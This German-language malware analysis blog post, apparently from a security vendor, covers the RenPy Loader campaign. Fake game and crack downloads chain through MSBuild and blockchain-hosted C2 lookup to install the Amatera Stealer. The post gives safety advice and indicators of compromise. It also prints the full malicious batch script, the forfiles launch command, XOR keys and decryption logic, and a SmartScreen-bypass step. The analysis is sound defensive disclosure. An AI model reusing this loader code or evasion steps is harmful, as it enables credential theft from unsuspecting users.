Wir haben mehrere Kampagnen entdeckt, bei denen gefälschte Downloads von Spielen, Mods, Cracks und Software genutzt werden, um den RenPy Loader zu verbreiten. Nach der Installation löst der Loader eine komplexe, mehrstufige Infektionskette aus, die MSBuild und die EtherHiding-Technik ausnutzt, bevor schließlich der Amatera Stealer eingeschleust wird.
Amatera ist ein Infostealer – eine Art von Malware, die darauf ausgelegt ist, sensible Informationen von einem infizierten Gerät zu stehlen. Das Programm kann Passwörter und andere Daten ins Visier nehmen, die in Browsern, Kryptowährungs-Wallets, Browser-Erweiterungen, Messaging-Apps und lokalen Dateien gespeichert sind. Gestohlene Anmeldedaten und Sitzungsdaten können es Angreifern zudem ermöglichen, auf die Online-Konten des Opfers zuzugreifen.
Das Opfer sieht möglicherweise ein scheinbar normales Spiel oder ein Software-Installationsprogramm, während die Malware unbemerkt im Hintergrund läuft.
Der RenPy Loader, auch bekannt als RenEngine Loader, ist besonders interessant, da er Ren’Py missbraucht – eine legitime Engine, die zur Erstellung von Visual Novels, storybasierten Spielen und interaktiver Fiktion verwendet wird. Indem sie bösartigen Code in Software verstecken, die mit Spielen in Verbindung steht, können Angreifer ihre Downloads für Nutzer, die nach Spielen, Mods oder geknackter Software suchen, glaubwürdiger erscheinen lassen.
Wir haben bereits beobachtet, dass Angreifer legitime Entwicklungstools und neue Software-Frameworks wie Bun und Deno missbrauchen, um Malware zu verbreiten. RenPy Loader folgt demselben Muster: Angreifer nutzen legitime Technologien aus, um böswillige Aktivitäten zu verschleiern, die Infektionskette zu verkomplizieren und die Erkennung zu erschweren.
Es wurde außerdem beobachtet, dass der RenPy Loader weitere Malware verbreitet, darunter HijackLoader und Lumma Stealer, was zeigt, dass die endgültige Payload je nach Kampagne variieren kann.
In diesem Blogbeitrag analysieren wir eine Infektionskette, bei der Ren’Py ein ZIP-Archiv entschlüsselt, das eine BAT-Datei und mehrere MSBuild-Projektdateien enthält. Diese Dateien laden eine mit einem Trojaner infizierte .NET-Komponente, die anschließend eine weitere schädliche Komponente entschlüsselt.
Diese Schadsoftware nutzt eine Technik namens „EtherHiding“, um ihren Command-and-Control-Server (C2) zu lokalisieren. Anstatt die C2-Adresse direkt in der Malware zu speichern, verstecken die Angreifer sie in Daten, die auf einer öffentlichen Blockchain gespeichert sind. Die Malware lädt dann die nächsten Phasen des Angriffs von diesem Server herunter, wodurch es schwieriger wird, die Infrastruktur der Angreifer zu identifizieren und zu stören.
Abschließend untersuchen wir die zusätzlichen Payloads, die letztendlich den Amatera Stealer entschlüsseln und ausführen.
Gefälschte Downloads infizieren Ihr Gerät
Die Infektion beginnt, wenn jemand ein vermeintliches Spiel, einen Mod, einen Crack oder ein Softwareprogramm herunterlädt. Wir haben festgestellt, dass schädliche Dateien über folgende Kanäle verbreitet werden:
- Schädliche Websites
- Portale zum Herunterladen von Spielen
- Mehrere Filesharing-Dienste, darunter Wormhole, GoFile, Google Drive und MEGA
Hier sind einige der erkannten Seiten, die die Infektionskette auslösen:
In mehreren Fällen wurde der Nutzer beim Anklicken eines Download-Links auf eine andere gefälschte Download-Website weitergeleitet. Diese Seiten wiesen unterschiedliche Designs und erfundene Dienstnamen auf, wodurch die Kampagnen weniger eintönig wirkten und die bösartige Infrastruktur schwerer zu erkennen war.
Im Folgenden finden Sie Beispiele für gefälschte Download-Seiten, über die das schädliche Archiv verbreitet wird:
Der Benutzer lädt ein Archiv herunter, das eine Datei mit dem Namen Setup.exe. Durch das Öffnen dieser Datei wird die Infektionskette ausgelöst.


Dem Opfer wird ein Lade- oder Installationsbildschirm angezeigt, doch im Hintergrund wird Schadcode ausgeführt.

Wie man sicher bleibt
Mit einigen Vorsichtsmaßnahmen lässt sich das Risiko verringern, schädliche Spiele oder Software herunterzuladen:
- Laden Sie Spiele und Software von offiziellen Websites, vertrauenswürdigen App-Stores oder etablierten Vertriebsplattformen herunter.
- Seien Sie vorsichtig bei geknackter Software, inoffiziellen Mods und kostenlosen Versionen kostenpflichtiger Spiele.
- Seien Sie vorsichtig, wenn ein Download-Link Sie über mehrere unbekannte Websites oder Filesharing-Dienste weiterleitet.
- Überprüfen Sie den Inhalt heruntergeladener Archive, bevor Sie ausführbare Dateien wie beispielsweise
Setup.exe. - Achten Sie auf ungewöhnliche Dateinamen, Bilder oder Textdateien, die nichts mit dem zu tun haben, was Sie eigentlich herunterladen wollten, sowie auf Inhalte, die nicht Ihren Absichten entsprechen.
- Verwenden Sie eine Echtzeit-Anti-Malware-Software wie beispielsweise Malwarebytes.
- Halten Sie Ihr Betriebssystem, Ihren Browser und Ihre Sicherheitssoftware auf dem neuesten Stand.
Die Drahtzieher dieser Kampagnen erstellen ständig neue Websites und ändern ihre Download-Seiten. Ein professionell gestaltetes Installationsprogramm oder ein bekannter Filesharing-Dienst sind keine Garantie dafür, dass ein Download sicher ist.
Technische Analyse des RenPy-Loaders
Ren’Py ist eine kostenlose Open-Source-Engine zur Erstellung von Visual Novels, storybasierten Spielen und interaktiver Fiktion. Ren’Py ermöglicht die Einbindung von Python-Skripten, die Angreifer missbrauchen, um schädlichen Code einzuschleusen.
In diesem Fall haben wir in den folgenden Dateien und Pfaden schädlichen Code gefunden:
|
Pfad |
Beschreibung |
|---|---|
|
|
Anti-Sandbox-Klassen |
|
|
Lader |
|
|
XOR-verschlüsselte Konfiguration |
|
|
XOR-verschlüsselte ZIP-Datei |
Der aus … entnommene Lademechanismus der ersten Stufe libwin32.rpa führt die folgenden Operationen aus:
- Liest die Konfiguration
data/.GEgund entschlüsselt sie mithilfe der Base64-Dekodierung und einer XOR-Verknüpfung mit dem Schlüssel81034149cd6f48c8821340204f92766e. Diese Konfiguration enthält das Passwort zum Entpacken der ZIP-Datei sowie weitere vom Loader verwendete Konfigurationsdaten. - Anrufe
sys_config.is_sandboxed()und beendet das Programm, sobald eine Sandbox erkannt wird. - XOR-Entschlüsselungen
data/j3lpTcg7kBRN.E3mit dem SchlüsselA50YyY1um die ZIP-Datei herunterzuladen. - Entpackt den ZIP-Inhalt in einen zufälligen Ordner unter
%TEMP%/tmp-{5 digits}-{12 characters}und schreibt ein:Zone.IdentifierAlternativer Datenstrom (ADS) mitZoneId=0um das „Mark of the Web“-Zeichen zu entfernen und SmartScreen zu umgehen. Außerdem fügt es eine zufälligeREMZeichenkette in die extrahierte BAT-Datei einfügen. - Startet die Nutzlast mithilfe von
forfiles.exe. - Sendet die MAC des Geräts und die Kampagnen-ID an eine Tracking-Website.


In diesem Fall wurde die extrahierte BAT-Datei mit dem folgenden Befehl ausgeführt:
forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"
Inhalt der BAT-Datei:
@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal
Die ausgeführte BAT-Datei führt die folgenden Vorgänge aus:
- Startet sich selbst in einer versteckten oder kopflosen Konsole neu:
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
- Aktiviert MSBuild-Eigenschaftsfunktionen und ermöglicht so zusätzliche Methoden wie beispielsweise
AppDomain.CurrentDomain.Loadauszuführen:
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
- Führt aus
MSBuild.exemitNancy.csprojals Projektdatei. Während der Projektbewertung führt eine bösartige MSBuild-Eigenschaftsfunktion eine Hex-Dekodierung durch und lädt reflektiv die nächste DLL-Stufe.
Die mit einem Trojaner infizierte Nancy-DLL und der benutzerdefinierte Bytecode
Nancy.csproj importiert die drei extrahierten Dateien Nancy.csproj.user, Internal.propsund Nancy.Compile.targets. Die schädliche DLL ist auf drei Werte verteilt, die in diesen Dateien gespeichert sind.

Nancy.csprojNancy.Compile.targets verknüpft die drei Werte, um die DLL hexadezimal zu dekodieren und die DefaultEvaluator5 Methode unter Verwendung von AppDomain.CurrentDomain.Load.CreateInstance.

DefaultEvaluator5Das Interessante daran ist, dass Nancy.csproj dient zwei Zwecken: Es handelt sich um das MSBuild-Projekt, mit dem der Loader der ersten Stufe ausgeführt wird, und es enthält zudem die vom Loader entschlüsselte nächste Stufe.
Die DLL ist eine mit einem Trojaner infizierte Version der Nancy-.NET-Bibliothek und stellt einen verschleierten .NET-Loader dar, in den Schadcode implementiert ist, und zwar in der DefaultEvaluator5 Klasse. Ein Teil der Funktionalität der DLL wird in benutzerdefiniertem Bytecode implementiert, der von dieser „main“-Methode ausgeführt wird.

Die DLL führt die folgenden Operationen aus:
- Entschlüsselt Zeichenfolgen aus Ressourcen mithilfe einer XOR-Entschlüsselung mit mehreren Schlüsseln.
- Löst APIs mithilfe von API-Hashing auf und
GetDelegateForFunctionPointer. - Ändert die Netzwerkeinstellungen, einschließlich der Deaktivierung der TLS-Zertifikatsüberprüfung und der Festlegung des Standard-System-Proxys.
- Führt Maßnahmen zur Verhinderung forensischer Untersuchungen durch.
- Liest die
_czzfUmgebungsvariable, die auf die vorherige verweistNancy.csprojDatei, dekodiert sie anschließend und führt sie aus.
Das Wichtigste DefaultEvaluator5 Die Methode ruft Zeichenfolgen ab und interpretiert den Bytecode, der in den folgenden Ressourcen enthalten ist:
Nancy.Runtime.mvlorimu: Enthält den benutzerdefinierten Bytecode. Der Bytecode wird interpretiert von_pvund_sro. Es implementiert 23 Opcodes, die zum Entschlüsseln weiterer Zeichenketten und zum Laden der DLL der nächsten Stufe verwendet werden.Nancy.Data.tcnlhxwundNancy.Resources.kxxodp: Enthält die verschlüsselten Zeichenfolgen und andere Daten, die zur Entschlüsselung verwendet werden, darunter Schlüssel, Längen, Indizes und die S-Box.
Die Zeichenfolgen werden mit dem folgenden Algorithmus entschlüsselt:
out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]
Die nächste DLL-Stufe, GollopDevest, wird aus derselben Quelle decodiert Nancy.csproj Datei, die nach folgender Logik erstellt und mit AppDomain.Load:
for i, k in enumerate(marker_int):
if k < 256:
payload[i] = k
else:
payload[i] = marker_int[k-256]

Pack MarkierungenEtherHiding und Amatera Stealer
Die nächste extrahierte Komponente ist eine DLL namens GollopDevest.dll, ein .NET-Downloader, der die „EtherHiding“-Technik nutzt, um seinen Command-and-Control-Server (C2) zu ermitteln und die nächste Stufe herunterzuladen.
Die verschlüsselte C2-Domain wird mithilfe eines Ethereum-JSON-RPC abgerufen. eth_call Anfrage an bsc-dataseed.binance.org:
{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}
Dieser EtherHiding-Downloader ist wahrscheinlich Teil einer „Malware-as-a-Service“-Operation (MaaS), da wir festgestellt haben, dass er auch im Rahmen anderer Kampagnen, darunter ClickFix-Kampagnen, verbreitet wird.
Anschließend werden drei weitere Nutzlasten heruntergeladen: zwei .NET-DLLs mit den Namen PavinWide (eine Anti-Analyse-DLL) und GollopDevest (eine Loader-DLL) und eine C++-DLL namens LanoseThrip, wodurch letztendlich Amatera Stealer entschlüsselt und geladen wird.
In diesem Fall wurden diese Payloads von folgender Quelle heruntergeladen:
/assets/ExponeAboard.json/assets/MailersKogasin.json/assets/LanoseThrip.json
Die .NET-DLLs werden mithilfe von Control-Flow-Flattening und indirekten Aufrufen über calli/ldftn, Zeichenfolgenverschlüsselung mit verschiedenen Algorithmen, Junk-Code, toter Code und gefälschte Zeichenfolgen wie URL-Pfade.
Die Analyse dieser DLLs ist noch nicht abgeschlossen und wird in den nächsten Blogbeiträgen näher beleuchtet werden.
Indikatoren für Kompromisse (IOCs)
Domänen
downpro[.]net– Gefälschte Download-Websitemacisofile[.]sbs– Gefälschte Download-Websitevisitmama[.]blog– Gefälschte Download-Websitevisitmama[.]guru– Gefälschte Download-Websitegetgamerfree[.]com– Gefälschte Download-Websitefullgames[.]digital– Gefälschte Download-Websiteflingbase[.]net– Gefälschte Download-Websitecitronemu[.]com– Gefälschte Download-Websitefilemodo[.]xyz– Vertriebsinfrastrukturstorage06x[.]cfd– Vertriebsinfrastrukturp03sil[.]cyou– Vertriebsinfrastrukturwimsedas[.]xyz– Vertriebsinfrastrukturagainstmor[.]store– Vertriebsinfrastrukturhost03q[.]cfd– Vertriebsinfrastrukturcloud01y[.]cfd– Vertriebsinfrastrukturstorage11x[.]cfd– Vertriebsinfrastrukturstorage04x[.]cfd– Vertriebsinfrastrukturhost82p[.]cfd– Vertriebsinfrastrukturcloud05y[.]cfd– Vertriebsinfrastrukturanalyticstrack-pzh[.]click– Website zur Nachverfolgunglogin.orbitalframework[.]cc– Amatera Stealer C2
IP-Adressen
144.124.251[.]171– Wird verwendet, um zusätzliche Nutzdaten zu erhalten195.63.140[.]33– Wird verwendet, um zusätzliche Nutzdaten zu erhalten78.40.196[.]252– Wird verwendet, um zusätzliche Nutzdaten zu erhalten
Datei-Hashes (MD5)
29203ca123d51b1b33505a0813d360df– Loader der ersten Stufe (trojanisierte DLL)810F257542018BE0FC62AF542D13D012– GollopDevest-DLL (Downloader-DLL)681DB529E402467A4B0567C82A350FC0– PavinWride-DLL (Anti-Analyse-DLL)2E116632248A7E1F8AA6BCA92D9C1C90– GollopDevest-DLL (Loader-DLL)F8453EFE408CE25B9484F872797E3D63– Endgültige Nutzlast
„Eine der besten Cybersicherheits-Suiten weltweit.“
Laut CNET.Lesen Sie den Testbericht →






















